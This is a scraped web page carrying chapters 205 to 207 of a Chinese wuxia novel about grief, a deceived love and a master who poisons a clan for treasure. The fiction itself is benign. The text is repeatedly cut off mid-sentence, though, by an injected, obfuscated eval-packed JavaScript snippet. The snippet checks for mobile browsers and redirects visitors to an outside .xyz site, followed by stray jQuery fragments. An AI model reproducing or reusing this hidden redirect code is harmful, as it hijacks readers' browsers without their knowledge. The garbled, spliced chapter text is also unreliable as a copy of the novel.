“和我就别装了,”齐熙宁撇嘴道,“遇见这么糟心的人和事,任谁都会难过的。不就是哭了一鼻子嘛!有什么呀,不丢人。” 紫瑛刚刚干燥了一阵儿的眼窝因她的最后一句话又变得湿润起来,紫瑛赶忙找手帕来擦。可当手帕被拿出来的一瞬间,她却愣住了。 紧接着,她便将那方帕子狠狠摔在了地上,掩面哭了起来。 齐熙宁俯身捡起手帕,见那上面绣着花鸟,绣工虽然精致,却是成品铺子里成色,猜到这或许是魏彦成的。 紫瑛哭得伤怀,齐熙宁却有些气闷,倒不是嫌弃她软弱爱哭,而是替她不值。 她从自己袖中掏出手帕,塞给她,同时说道:“你别难过了,不止你一个人被他骗了,昨晚上要不是爹爹把前因后果说给我听,我也还蒙在鼓里呢。 紫瑛慢慢直起身来,掖了掖眼角才吞吞吐吐道:“我难过,也……不光是……为了他骗我……” “你想不通,你怎么会喜欢上这种人?” 齐熙宁心直口快,紫瑛却捏着手绢不肯说话。 “仔细想想,要是我遇上这种事,估计也得郁闷死!” “你那么聪明,不会的……” “那可不好说,要是人家成心骗你上钩,肯定会装的深情款款,温柔体贴。他家世不错,长得又好,还贯会逗乐……而且依我看,他也不算是完全对你无情……总而言之,你会看上他也挺正常的……” 齐熙宁见紫瑛再一次低头不语,急得拉住她手,非让她把头抬起来不可。 “哎呀,喜欢错了人真没什么大不了!天底下男人多的是,这个不好就赶紧撒开手,咱们再找下一个!” 她的话成功勾起了紫瑛的笑容:“你呀,可真是口无遮拦,要是让别人听到了可怎么好。” “这有什么,食色性也,这可是孔老夫子说的。我又不是庙里的尼姑,这些事怎么不能说?” “好好好,你爱怎么说就怎么说吧。”紫瑛无奈道。 齐熙宁遂把头凑过去,喜笑颜开道:“说认真的,我母亲人脉广,要不要我去求她帮你物色一个人品又好,家世又好的俊朗少年给你?” “别别别,”紫瑛急道,“我哪有那么着急……” 底下的话还没说出口,敲门声响起,紫瑛赶紧又擦了擦眼睛才去开门,却见来的是章煦。 章煦见屋中齐熙宁也在,略微有些尴尬。 昨日随王三山来的时候,他只和齐熙宁简单打了一个照面,彼此之间一句话都未说过。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14360888|130825||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 三人见了礼,齐熙宁先道:“听说你正和王老前辈帮我配药呢?真是辛苦你们了,我原本打算仙鹤紫瑛姐姐说完话,就去老前辈那里问候的。” 章煦马上道:“不过举手之劳,齐小姐不必客气。再者说,我师父被关在魏家,被人逼着炼了几个月的毒,如今巴不得能赶快换个口味呢。” 说着,三个人都笑起来。 章煦这才对着紫瑛说明来意:“师父听说你也到了这儿,吩咐我来瞧一瞧。” 紫瑛谢过王三山的关心,道:“本该我先去拜见他老人家的。” “无妨,我师父已和文门主说好,在这里停留两人便和你们一起去太白山。以后有的是时间和他叙话。你刚刚脱离虎口,难免心有余悸,先顾好你自己。” 紫瑛点点头,没有再说什么。 三人陷入沉默,又坐了一会儿,章煦的屁股仿佛突然长了钉子,飞快从椅子上弹起来:“我……还得回去帮师父看着药,我先……先回去了。” 紫瑛欲期身相送,也被他拦了下来。临出门时,他好似实在忍不住一般,转身向紫瑛指着自己的两只眼睛:“这个……师父说,将新鲜的绿茶包在布囊中,再在冷水里泡一小会儿,然后敷在眼睛上,红肿就能很快褪掉,姑娘不妨一试。” 说罢便立刻出门去了。齐熙宁含笑望着他的背影,心中已有了答案,于是也站起身来,对紫瑛道:“我去看看复颜膏是怎么做出来。茶叶我会找人给你送过来,你在这儿等一会儿。” 齐熙宁飞快追上章煦,从背后拍了拍他。章煦本在沉思之中,这一拍难免让他吃了一惊。 “你跟我来!”齐熙宁二话不说,就拉着他往花园里跑。 好不容易在花园一角停下来,齐熙宁也不说话,只是抱着手臂,将一双眼睛眯成缝瞧着他。 章煦被她看得发毛,赶忙问道:“齐小姐,你这么看着我干什么……” “你喜欢喜欢紫瑛姐姐。” “啊?!” 章煦把她的话又在脑子里滚了一遍,才明白她说的什么,还发现她用的居然不是问句。 “我……” “你休想否认。你虽然尽力克制,可刚刚看着紫瑛姐姐的眼神里还是盛满了心疼,普通朋友可不会那样。” “我……我没想否认。”章煦转过半个身子,望着眼前开得正好的紫藤,一簇簇紫藤花垂下来,连成一片便如一道紫色的花墙,在偌大的花园中极为显眼。 “那你怎么不告诉她?” “我……她是文门主的掌上明珠,我在江湖中只是无名之辈,配不上她。” “那你可说错了。出身也好,名望也罢,并不代表一切。男女之间,这些都是其次,你是真心喜欢她,肯对她好才是第一位的。” “我知道了。”章煦淡淡笑着。 “你光知道有什么用?喜欢就去追呀,你一直憋着不说,当心以后后悔。”齐熙宁不免替紫瑛着急。 “如今她正在伤心难过的当口,我不想她因为我反而又多一重烦恼,再等一等吧。” 齐熙宁这才笑了,他能如此在意紫瑛的心情,还算是个可托付之人。就看紫瑛是不是也喜欢他了 205. 释怀(二) 太白山,明月居。 庞氏拎着食盒正往外走,一边摇着头一边不住叹气。 骆雁声恰好路过此处,见其如此,便问:“她还是不肯好好吃东西?” 庞氏正想找人说话,骆雁声话音刚落,她就急忙打开食盒,给他看里面都只动了一两下的饭菜。 “快急死人了!她再这样熬下去,没病都要变的有病了!”说罢这一句,庞氏的声调不由得缓和下来,又叹了口气,“她也真是命苦,母亲走得早就罢了,这刚和亲生父亲相认没多长日子,怎么就……”说完她还跺了一下脚,不敢高声叫骂,只能把声音压到最低:“挨千刀的魏菘泽!!” 庞氏离开,说是要再去给紫璇做一碗汤面鱼儿来。骆雁声在明月居的门口停驻了一会儿,一直到太阳落山,才缓缓离开。 差不多这个时候,紫璇也已从房中出来,正坐在庭院中,抬头望着西面天空上的一弯弦月。 再过一两个时辰,月亮也会落下,她得抓紧这段时间好好看看这稀薄的月色。 即便有骆雁声在旁照料,又不时给苏茂霖贯注内力帮他吊着性命,苏茂霖还是在回到太白山的第二天离开了人世。 紫璇守了他整个晚上,在天空放出鱼肚白之前,一直处于半梦半醒中的苏茂霖终于清醒了些。一睁眼,看到的便是紫璇婆娑的泪眼,和急得在一旁踱步的江邵谦,他不用想也知道自己没多少时间了。 骆雁声想给他诊脉,他只是摇了摇手,眼睛望向紫璇:“你还怪我吗?怪我愚蠢鲁莽,受人蛊惑,间接害死了晗月?” 喉咙仿佛被撅住了,紫璇一点儿声音也发不出来,只能拼命摇头。 “对不起,我原本还想着,能陪你再长大一些,看着你幸福地过下半生……”苏茂霖咳嗽两声,又大喘了一口气,“师兄……” 早就蹲下来看着他的江邵谦立刻挪过来,接住他伸出来的手。 “璇儿……” 无需他多言,江邵谦当然明白他想说什么,立刻应道:“你放心,大师兄和我绝不会让她有任何闪失。” 听到这句保证,苏茂霖才松了劲,原本绷紧的身子马上瘫软下来,目光也开始涣散,口中呢喃着只有他自己才能听见的话语:“晗月……你走慢一些……” 紫璇闭上了眼睛,似乎想用这种方式阻断脑海中的画面——这两天,只要她闲下来,苏茂霖飞身扑来将她护在身下、小心翼翼地称呼她为“璇儿”、死前还在跟她道歉的一幕幕就会不停地出现在她的脑海中,活生生仿若近在眼前,又雾蒙蒙的像是在梦里。 她看够了,再也不想一遍又一遍地重历这些场面,那样频繁,仿佛有人要故意提醒她不要忘记苏茂霖是为了救她而死的,而她,在他死前都未能唤他一声“爹爹”…… 她强迫自己练剑,练到筋疲力竭,练到再也直不起腰来。可恼人的是,一旦她累得倒下,想着终于可以睡一会儿时,这些画面便会急匆匆闯进来,没有礼貌,也无丝毫怜悯。 苏茂霖的灵堂设在政事堂内,紫璇只去过一次。因为她的身体状况,骆雁声嘱咐过江邵谦,不宜让她长时间跪着,作为孝子贤孙的那些虚礼大可不必守,江邵谦也同意如此。 她只在那儿磕了几个头,上了香烧了纸钱,然后便一直盯着上面的牌位,没有哭也没有说话。这是她人生中经历的第二场丧事,而上一场便是十年前。 紫璇记得很清楚,娘走的时候她根本不理解什么是“死”,也不明白为什么娘要躺在一个木头盒子里,一动不动,仿若祭祀时盛在盘子里的牺牲。 比棺木高不了多少的紫璇根本不知道自己该如何面对这一切,只好茫然地观察着前来祭奠的人,他们每一个看上去神色都很严肃,除了同许淑平说两句话,剩下的就只有沉默,于是她便笨拙地学着大人们,静静呆在一旁,以免举动失宜引来质疑或是指责的目光。 或许是从那时起,她凯斯学着把情绪隐藏起来,假装平静地接受一切,哪怕在得知自己要离开太白山的那一刻也都没有哭也没有闹。 十年时间,她长大了,有能力了,也遇到了很好的人,能够和发生在自己身上的那些不幸和痛苦渐渐和解……她本以为,或许从今往后她可以活得从容一些,大胆一些,却被命运当头棒喝,告诫她别忘了谁才是主人。 命运就是命运,你躲不掉、防不了,就算是喊破了喉咙哭哑了嗓子甚至是献上性命都不会改变它既定的轨迹。你最在意的会以你最不希望的方式离你而去,而你自己也只会按照注定的命运走向终点。 紫璇不知道自己是什么时候睡着的,醒来时天已经亮了。 她机械地穿上衣服,随便擦了一把脸,便抓起剑往外走,却被门口的骆雁声堵住了去路。 “骆前辈……”她下意识地称呼对方,却因为几天来第一次听见自己的声音而吓了一跳。 骆雁声趁着她出神的功夫仔细瞧了瞧她的面色,一向镇定淡然的他也蹙了眉头:“敌人又不是明日就会打上山来,你这么着急去练剑,所为何来?” “不积跬步,无以至千里。只有在平日加紧用功,敌人来时才有能耐抵挡。”紫璇的声音单调平缓,毫无波澜,骆雁声的质疑似乎击中的只是一团棉花。 “这些话,你自己信么?”骆雁声比她还要平静。 “我干嘛要骗你?” “你不是在骗我,而是在骗你自己。” 紫璇蹙眉不解。 骆雁声直视着她的眼睛,似是能看进她的心里:“你恨自己,恨自己害死了亲生父亲;恨自己面对圣女的命运竟然心生怯意;更加恨自己面对至亲之人离世却无能为力。所以你要报复,用糟践自己的身体来表达无法言说的愤怒。” “我没有!” “你有!”骆雁声踏上一步,紧紧逼视着她,“只是你不能接受这所谓的命运,更加无法接受你竟然如此软弱,所以才要想法设法地骗过自己。” “没有……我不是……”紫璇想要否认,却好像失去了组织语言的能力。 这番话在她的头脑中掀起了一场风暴,过于嘈杂反而令她无法思考,只有一下又一下的心跳越发明晰,握着剑的手也开始不受控制地发颤。 “不是?”骆雁声不由得哂笑,“只是你现在还没有意识到而已。毕竟这世间大抵都是懦夫,没有几人敢直面自己的内心,敢和命运抗衡。” 紫璇根本没有注意到他落寞萧索的神色,只捕捉到“懦夫”二字,以为他在奚落自己,便怒吼道:“你说够了吗?前辈大清早跑到这儿,就是为了讽刺挖苦于我么?” “我没有这样的闲心,只是见不得你消沉至此!你功夫了得,足见不怕吃苦,怎得到了今日却怕起这狗娘养的命来了呢?” “怕又如何,不怕又能如何?你说的对,命是逃不开的,再多 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“我是个孤儿,自小便被师父收养,成了他最小的徒弟。我脑子还算不笨,师父又倾囊相授,初出茅庐就在江湖上闯出了名声,还不到二十岁,便和师兄、师姐并称为‘天目三英’。师姐是师父的掌上明珠,只比我大一岁。天分既高,又肯用心,自小我便喜欢和她切磋武艺,也总是彼此监督指正。 “我虽狂妄,却也知她这样的女子世间难求,万幸师父待我直如亲子,见我二人情投意合,竟愿意招我为婿,甚至还透露出托付门派的意思。我自是感激万分,于练功之余也开始和师姐探讨起如何管理门派、调教弟子等等。说到激动处,我二人不免争得面红耳赤,师兄偶尔瞧见我们,都要啧啧称奇。 “师兄是吴越王之后,家世显赫,族人众多,他幼年时体弱多病,几乎活不下来。钱氏族长和我师父交情匪浅,天目派又一向以医理和武学见长,他便把小儿子送到了天目山,成了我师父的第一个徒弟。后来,他的身体果然一年比一年强健,天目派和钱塘钱式的关系也走得越来越近。 师兄长在天目山,年节时才会回家和父母团聚。因他自有家业要继承,对于我要越过他做天目派掌门的事并不在意。师兄是个极随和的人,但凡回家,都会带许多珍肴美馔和稀罕玩物给我们。他常说,师父有恩于他,他无以为报,便只能善待师妹师弟,希望能以此让师父少上些许烦恼。师父也总是笑眯眯地看我们在一处玩闹。 “一切都美好得像在梦里,谁能料想,梦碎也只在一夕之间。” 206. 释怀(二) “发生了什么?” 骆雁声娓娓道来,紫璇听入了迷,竟忘记了自己适才还在和他置气。 骆雁声闭上眼睛摇了摇头,重重叹气,神情痛苦不堪。良久才睁开眼睛,站起来走到窗边,望着此时已跳到云层之上的日头,继续讲道: “那一年,师兄的父亲生了病,师兄便急忙赶回家中侍疾。师父还特地与他同去,帮忙诊脉开方,等病人稳定了才回来。 其时我恰好遇到了一个采花恶贼,一路追捕他到了钱塘,终于在一处暗巷结果了他。想起师兄久未回山,便临时起意去钱家问候。见到师兄我才知道,他父亲已病入膏肓,师父亲来看过,都说没有救了,只能挨日子,多活一天算一天。 “师兄之父的病情虽然复杂,但也绝没有几个月内便急转直下的可能。我一时好奇,便要来了师父的脉案和药方。看了一晚上,也的确找不出还有何处可以增添改进,师父下的方子已经是最优之选了。 “也是凑巧,我见自己无用,再呆下去也只是耽误师兄的精力,便立刻求去。师兄送我出门时恰好药熬好送到,我瞧了一眼,觉得有些不对。 “按照师父的方子,那碗药应该微微有些红色才对,但我看到的却在淡红之中泛着黑青。我抢过那碗药仔细闻了闻,并没有发现什么不妥,用银针也没能验出什么。我又让小丫头领我去看药渣,和还没有熬的药材,也都正常。我便以为是自己料错了……” “那碗药的确有问题?” “是,其中有一味黄芪,被人在炮制时掺入了砒霜,因为分量极轻,肉眼根本看不出问题,和其他药材和在一起熬出药汤后也验不出来。唯一的破绽,便是药汤的颜色会略微泛青。”骆雁声苦笑着摇了摇头,“枉我自诩聪明,竟然没有察觉用毒之人的心思……” “前辈师兄的父亲……” “死了……每日三碗药下去,毒性累积,又无人发觉,必死无疑。这还不是最惨的,钱式族长身故,族内远近亲戚皆来奔丧,结果于同日暴毙!” “什么?!”紫璇诧异出声,她的注意力已被骆雁声的故事完全吸引过来了。 “你没有听错,全死了,二百余条人命啊……” “谁干的?” “谁干的?”骆雁声干笑了两声,“时人皆传,是钱老爷子生前最得宠的妾室所为,因她受宠,被夫人记恨,老爷一死夫人便将她买去了青楼。她不堪受辱,从青楼里偷跑出来,顺便还夹带出一包药老鼠的砒霜,趁人不备下在了白事当日的饮食之中。下毒之后为了抹去痕迹,便一把大火毁尸灭迹,就连睡梦中的仆役都没能逃出来。” “这未免也太过离奇了吧?”紫璇蹙眉,并不相信这个说法。 “呵呵,”骆雁声又笑了,只是笑声越发萧索,已不再是单纯的揶揄,“怎么可能会是什么小妾所为?这不过是时人找不到真凶,便拿妻妾不和败家的旧话来搪塞罢了。真正的凶手不是别人,正是我们的师父……” 紫璇惊得从座位上站了起来,半响才问出:“为什么?!” 骆雁声转过身来,对上紫璇眸中震惊,缓缓道:“为了钱式一族藏在江南的财宝。” “是不是很可笑,我一向敬重的师父竟是个杀人不眨眼的刽子手!是个城府极深,筹划十余年谋夺徒弟家产的伪君子!!!” 骆雁声怒吼着说完这两句话,像是力气被用尽,人也变得萎靡起来。他拖着疲惫的身子走过来,又回到原先的位子上坐下,用仅剩的一点力气道:“我回到天目山,无意中发现师父的药藏中,黄芪沾染上了砒霜,还以为是他存放不当。哪知,我刚一提起此事,师父便脸色大变,问我有没有把这事告诉别人。 “那般紧张,那般心虚,我一下子就明白过来,师兄家中的药从何而来。我质问师父,是不是他处心积虑毒死了钱家族长,他没有否认。我问他为什么,他却说他所作的一切都是为了天目派,说什么天目派日渐式微,若取得了钱式家藏,便可壮大门户,称霸东南…… “这些话、这个人皆是我此生第一次听、第一次见……我大叫着说要把真相告诉师兄,让他赶紧把药停了……师父硬拉着我,以掌门之位诱惑我与之同流合污,我不肯,他便用天目派的名声来劝我……我犹豫了…… “我竟然犹豫了!”骆雁声猛拍着自己的大腿,似乎当年的恨意透过回忆又找了回来,“说到底,我和师父没什么两样,我在意天目派,因为我已经把自己当成了下一任掌门。当师父提起门派荣辱,我的第一反应居然是若我接手的是这样的天目派,天下人将如何笑我! “就是这一瞬间的犹豫,便足以让师父对我暗下毒手……师父了解我,知道我必然会不忿于他的所行,迟早会将秘密捅出去,之前那些利诱、感化不过是在拖延时间而已。我一向敬他如父,感念他对我养育之恩,谁知道我不仅看错了他,也低估了他的狠心…… “还算我身手敏捷,师父一击不中,我便有了逃跑的机会。我去找淑平,她只劝我快跑,莫要再回天目山。师父既己动了杀心,便不会善罢甘休,在淑平的掩护下,我于当晚便匆匆下山,却在钱塘又被人截住,如此三起四落,最终也没能逃过师父安排下的人手……” 紫璇想起来了,紫瑛从王三山那儿听过这个故事,最终是许淑平保住了他的命,又求王三山帮他解了毒。 “我在王老前辈那里躺了一个多月才终于醒了过来,彼时师兄一家惨死,师父还好端端地坐在天目山上,淑平她……” 骆雁声收起些许激动的声音,换了一副口气继续道: “当时的我和你现在一样,或许还不如你。我只是躺在床上,对谁都不理不睬,对送来的药和番事业不理不睬。我接受不了一向敬爱的师父扒下面具竟是个贪婪的恶魔,也接受不了我拼搏数年只为有朝一日光大天目派的美梦就此破灭……还有淑平,她是师父的女儿,她不能背弃父亲,只能选择背弃我……我当时只觉得,过往二十多年的时光全部都活错了,我依然是孤家寡人,在我的面前已经没有要走的路、要牵挂的人……或许死是唯一可以解脱的方法……” “那你……” 紫璇的话没有说出来,但骆雁声明白她想问什么。 “是王老前辈骂醒了我。他说我自怜身世,无非是觉得被人害了无力反抗,却忘了,其实一切事情都是我自己的选择造成的。” “你自己的选择?” “是。”骆雁声深吸了一口气,身子也慢慢坐直,“若我肯同意师父的提议,必不会招致杀身之祸;若我听从淑平的劝告明哲保身不去钱塘报信,也不会轻易露了行迹……” “可是,你师父下毒害人不是你逼他的。” “你说的没错,别人如何做我们左右不了,可我们也有别的选择不是吗?” 见紫璇无法理解,骆雁声又道:“就拿你来说,魏菘泽要抓你救自己的儿子,无人能够改变,但苏茂霖也可以选择爱惜自己的性命,不去救你。” “你说什么!?”紫瑛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14379124|130825||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 倏地站了起来,手中剑不客气地指着他的鼻子。 “我说错了吗?即便他是你的父亲,他也可以什么都不做。救你,哪怕要牺牲自己,也都是他自己愿意的。” “你这样说,是在为魏菘泽开脱吗?” “不!”骆雁声也站了起来,“我只是想告诉你,任何人面对任何情形,都有不止一个选择。苏茂霖救你,并非出于命定的‘不得不’,而是因为他把你的命看得比自己的更加重要,他选.择.了救你。” 见紫璇神色似有松动,他进一步道:“你母亲的事我虽然所知有限,却也不难猜到她是为了消弭天魄门旧部对宝藏的贪欲、拯救危在旦夕的太白山才自刎的。在你看来她是被迫牺牲,实则她亦可以选择什么都不做,等着别人来救她。” “可是若非不得不,谁会选择用死来终结一切呢?” “说得好,那我问你,你已经到了不得不死的地步了吗?谁告诉你此时此刻你的死是所有选择中最好的那一个呢?!” “我……我只是……”紫璇再一次语塞,剑被垂下,无力地挨着裙角。 “你只是觉得委屈、觉得不公,凭什么这一切都得你一个人来承受。你已经失去了那么多,为什么命运还是不肯放过你!你希望有人能看见你的痛苦和不幸,你等着别人来拯救你!” “哐镗!” 短剑跌落在地,紫璇也捂着脸坐在了地上,一声一声抽泣着。 “不会有人来救我的,对么?你想告诉我,我的命运只有我来面对?” 良久,紫璇才慢慢抬起头来,对上了一直关切地注视着自己的骆雁声。 骆雁声没有点头,只是沉声道:“你只说对了一半。” 他上前,先将紫璇扶起,将她安放在后头的座椅之中,继而道:“的确,我们永远只能靠自己,因为谁都不可能替你做选择。但同时,你也并非孤家寡人,在你失去的同时也在得到。” “我听不懂。” “就拿我来说,我被人下了足量的鹤顶红,却奇迹般地活了下来,里面有淑平的努力,也有王老前辈的援手,难道这不是幸运?难道他们不是好人?我自以为信仰崩塌,再无活下去的理由,实则目光短浅,宥于狭小一隅,没看到师父之外尚有他人,过去之后仍有未来……” 骆雁声拂袖转身,窗外的绿茵在阳光下正发出淡淡的光晕,他仰头瞧着光晕中飞往山间的鸟儿,放大了音量道:“我既可以就此了断,再无牵挂,也可以放眼未来,去做我其他我想做的事。我闯荡江湖,目的难道仅仅是成为天目派的掌门,而不是匡扶天下正义吗? “为了救你,天魄门折损了数名弟子,你一死,他们的牺牲不就变得毫无意义了?苏茂霖三番五次为你挡下杀招,不就是想让你好好活下去?你却只看到他的故去,看不到他对你的期望吗?你只能看到你遭遇的不公,看不到那些爱你之人为了你的付出吗?” 骆雁声再次把身子转过来看向紫璇时,脸上已经浮现出温暖的笑意:“你的命是不够好,但也不是差到了极点。你有十余年的武学修为,放眼世间,就算是把男子加在一块儿,同龄人中能超过你的能有几人?若你都要屈从于命运,不敢与之抗争,那你让那些出身还不如你、运道凄惨于你之人也纷纷去死吗?” “抗衡就能改天换命吗?” “我不知道,命运无常,没有人能够提前知道自己的选择会带来什么结果。但有一点,只要还有选择,那这个命就是还是我说了算。” 207. 和解(一) 苏茂霖的死讯传到长风镖局,文远骥当即求去,紫瑛也放心不下紫璇,随父亲一道西去。 王三山师徒则等复颜膏制好以后,由江珺翊和骆雁声的两个弟子护送去太白山。 父女二人星夜兼程,一路上都在担心紫璇的情况,未曾料到竟会在山脚处就看到她。 “璇儿……”紫瑛飞身下马,朝迎面而来的紫璇奔去。 紫璇携住她手,任由她上下左右仔细打量。文远骥也下马走过来,短短几步路就已经将另一个牵挂多日的女儿尽收眼底,气色还好,面上虽无微笑但很平静,不知道是不是还和从前一样,只是故作坚强。 “二叔让我来接你们。” 紫瑛望着她已然红了眼圈,紫璇仍不习惯这样温情的场面,赶紧用一句话打破沉默。 文远骥收回目光,点了点头,又看向候在不远处的政事堂弟子伍双全。 伍双全见召,立刻上前行礼,并道:“师父嘱咐,门主回山的第一件事必是过问山中布防,比起上山后只是听他口头汇报,不如趁此机会实地检视一番,如有错漏也好着守冲堂及时弥补,故而命弟子等在这里。” 江邵谦所虑正中文远骥下怀。藏宝图现世,回到了天魄门手中,用不了多久便会人尽皆知,只怕又会掀起一场风波,守好山门、防御外敌实乃当务之急。 多日来江邵谦已对此下了不少功夫,但仍不满意,这才让自己的大弟子伍双全前来接应。他清楚山上如今所有的岗哨位置和布置下去的防卫手段,可以随时解答门主疑问;若文远骥有什么新想法,伍双全也可以即时判断是否可行并记录下来报给江邵谦。 如此一来,加强门中防御的整个时间都能缩减,且有门主亲自督导,守冲堂上下和出力的山民们也会更加卖力。 “二弟思虑周全,便按他说的办吧。” 文远骥又转身看向两个女儿:“你们先上去,不必等我。”停了停,想单独对紫璇说些什么,却最终还是先咽了下去,只说:“快去吧,等我回去再说。” 然后,他便让伍双全在前引路,边走边又问起那几个在魏宅中死难弟子的后事来。 姐妹俩携手上山,彼此的目光交错着看了对方几眼,但谁都没有开口说第一句话。 一直走到牌坊那儿,紫瑛才停了下来。紫璇也被迫止步,顺着她的视线向上,默默将“霞影仙授”、“天魄永佑”这两句话读了一遍。 回来这么久了,她好像从来都没有注意到石牌坊上竟还有这样两句话,想起为了儿子才如此执着于宝藏的魏菘泽,紫璇第一次觉得他也很可怜,甚至于对他害死苏茂霖的恨意都淡了几分。 另一边,紫瑛也想起了魏彦成上一次来时对着牌坊和山上总堂露出的羡艳目光。释怀没有那么容易,虽然她现在已经不像几日前那般沮丧,却总会不由自主地回想起和魏彦成相处的某些片段,继而反应过来,他并非没有破绽,只是当时的自己一叶障目,从不会往别处想。 “怎么了?”紫璇发觉她脸色不对,关心道。 紫瑛垂下目光,有些不自在地捏着紫璇的两根手指,低声道:“没什么,只是想起了……你和爹爹、二叔他们出生入死,我却毫无防备之心,一味拖后腿,还……害得你……” “别这样说,”紫璇握紧她的手,“不关你的事,若非因为我,魏彦成也不会刻意接近你、骗取你的信任。” 紫瑛抬起头,刚想说话,却被紫璇抢了先:“你肯定不会怪我的,对吗?那也别怪自己。” “璇儿……” 紫瑛的泪意再度冲出眼眶,连带着紫璇也红了眼睛:“听到你被爹平安救出来,我才如释重负,要是你也出了事……我……” 姐妹俩抱在一处痛痛快快哭了一场,等到情绪渐渐平复,两个人看着彼此的泪眼都不好意思地笑了。 像回到了小时候,紫瑛先伸出手帮小自己半岁的妹妹擦了擦眼泪,然后仔细端详着她的脸:“瘦了好多,是不是又不好好吃饭?” “你回来了,就有人监督我了。”紫璇眼角还挂着泪珠,嘴巴却已经弯出了一个大大的弧度。 “你都多大了,还得我这个做姐姐的来操心!”紫瑛假作嗔怒,嘴角也不受控制的翘起来。 紫璇挽住她的胳膊,引着她继续往上走,顺便问起其他人的近况。 说到齐雅雯,紫瑛才想起来:“方公子的父亲过世了,是熙宁告诉我的。” “他的父亲?”紫璇登时害怕起来,方乂安扯住瑾瑜趁乱逃跑的景象还历历在目,她还以为他们已经安全了。 “那他呢?”她立马问道。 紫瑛当然知道她想问的是谁:“方公子应该没事,要不然熙宁的姑母早就南下去湖州了。” 紫璇点点头,继续往迈着步子:“那他父亲是怎么回事,你知道吗?” “详细的我也不清楚,只知道我到长风镖局的第二天,方家便遣人来送消息了。” 算一下时间,方乂安极有可能是在魏宅受了重伤,一直到带着瑾瑜逃离险境才终于支持不住撒手人寰的。想到这里,紫璇稍稍平复的心绪再一次纷乱起来。 比起紫瑛,瑾瑜的父母更是无辜受累,齐雅雯虽然无恙,但方乂安因此殒命,她心中的愧疚再度泛起。瑾瑜重情,父亲死在面前,他的内心必定和她一样煎熬自责。 空气骤然安静,紫璇瞬间变化的脸色没能逃过紫瑛的眼睛。 文远骥一到山上,立马将她找去,询问紫璇的情况。 “她面上装着无事,心里肯定还没过去。”紫瑛皱着眉头,脑海里满是刚才露出落寞神色的紫璇。 “亲人离世,这份伤痛不是短短几天就能消散的。”文远骥沉声道,“二弟妹说,最开始的几天她连饭都不肯吃。她能有如今的样子,已经算是难得了。” “我都不敢和她提起三师叔,怕惹得她更加难过。” “回避也不是办法,该面对的还是要面对。”文远骥只犹豫了一会儿,便起身道:“随我去政事堂。” 政事堂中,紫璇正跪在灵前。面前的台案上,苏茂霖的牌位居中放置,两侧并排而立的另外三个牌位则属于其他折在了魏宅的天魄门弟子。 门主出现,包括紫璇在内的死者亲眷纷纷起身让到两边,文远骥接过紫瑛递来的香,先行了祭礼,这才向三个弟子的家眷一一致意,说了几句感谢加抚慰的话语。 到紫璇身边时,紫璇眼中带泪,却低着头不想被他看见。 “你跟我来。” 于是,父女三人又回到了文远骥的书房。 紫璇低头仍是不语,文远骥知道她不喜欢在自己面前袒露软弱,便叹了口气,一面示意不知所措的紫瑛也坐下,一面缓缓说道:“晗月走的时候,我用了三个月才从床 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14389746|130825||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上爬起来,三师弟伤了我只是一半原因,另一半则是因为我接受不了她突然离我而去。” 姐妹俩同时看向父亲,惊讶地发现文远骥居然也会有泪光闪烁的时刻。 “若不是我疏于防范,令恶人轻易攻上山来,晗月又怎会殒命?我悲痛万分,不管吃下什么药都会吐出来,我记得那个时候瑛儿也病了,反倒是你最为坚强。” 文远骥擦掉眼角的一滴泪,唇边绽出一抹苦笑:“许前辈煞费苦心,将我拉出了鬼门关,我靠着报仇雪恨的信念挺了过来,也当真如愿手刃了一个又一个逼死她的仇人……可是有什么用呢,晗月并不会回来,反而因为我的举动,让这世间又多了几个伤心人。” “白凌啸有个女儿,年纪和你们差不多大,我与其决斗之时他的女儿闯了进来,她亲眼目睹父亲惨死,竟当场气绝。白凌啸的弟子崔越之所以那般恨我,这也是原因之一。我看到这一幕,才骤然惊觉自己居然忘了你们,也忘了晗月曾经对我说过的一句话。“ “什么话?”紫瑛率先问了出来,紫璇的目光也紧紧盯住文远骥。 “别为了死去的人活着。” 紫瑛握住嘴巴低声啜泣,紫璇却肩膀一松,让停在眼眶里的泪水肆意落了下来。 文远骥深吸了一口气,起身将坐在自己对面的两个女儿笼在怀里,略带了哽咽道:“斯人已逝,可以怀念,但不要沉溺。向前看,为了活着的人。” 